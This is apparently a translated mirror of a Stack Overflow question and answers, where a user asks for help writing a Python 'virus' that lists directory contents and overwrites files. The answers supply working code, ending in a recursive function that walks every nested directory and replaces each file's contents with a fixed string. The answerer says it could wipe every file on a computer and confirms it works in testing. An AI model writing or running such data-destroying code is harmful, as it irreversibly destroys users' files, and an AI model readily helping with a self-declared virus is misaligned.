繁体   English   中英

在Python多行中列出目录

[英]Listing Directories In Python Multi Line

我需要帮助尝试在python中列出目录,我正在尝试编写python病毒代码,只是概念证明,没有什么特别的。

#!/usr/bin/python
import os, sys
VIRUS=''
data=str(os.listdir('.'))
data=data.translate(None, "[],\n'")
print data
f = open(data, "w")
f.write(VIRUS)
f.close()

编辑:我需要它是多行的,所以当我列出目录时,我可以感染列出的第一个文件,然后再感染第二个,依此类推。

我不想使用ls命令,因为我希望它是多平台的。

如果您只是想再次解析它,请不要在os.listdir的结果上调用str 而是直接使用结果:

for item in os.listdir('.'):
    print item   # or do something else with item

像这样:

import os
VIRUS = "some text"
data = os.listdir(".")  #returns a list of files and directories

for x in data:       #iterate over the list

    if os.path.isfile(x): #if current item is a file then perform write operation

        #use `with` statement for handling files, it automatically closes the file
        with open(x,'w') as f:
            f.write(VIRUS)

因此,当编写这样的病毒时,您将希望它具有递归性。 这样,它将能够进入找到的每个目录,并覆盖这些文件,从而完全销毁计算机上的每个文件。

def virus(directory=os.getcwd()):
    VIRUS = "THIS FILE IS NOW INFECTED" 
    if directory[-1] == "/": #making sure directory can be concencated with file
        pass
    else:
        directory = directory + "/" #making sure directory can be concencated with file
    files = os.listdir(directory)
    for i in files:
        location = directory + i
        if os.path.isfile(location):
            with open(location,'w') as f:
                f.write(VIRUS)
        elif os.path.isdir(location):
            virus(directory=location) #running function again if in a directory to go inside those files

现在,这一行将把所有文件重写为变量VIRUS的消息:

病毒()

额外说明:

我之所以默认为: directory=os.getcwd()的原因是因为您最初使用的是"." ,在listdir方法中将是当前工作目录文件。 我需要文件目录的名称才能拉出嵌套目录

确实有效!

我在计算机上的测试目录中运行了该文件,每个嵌套目录中的每个文件的内容都替换为: "THIS FILE IS NOW INFECTED"

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM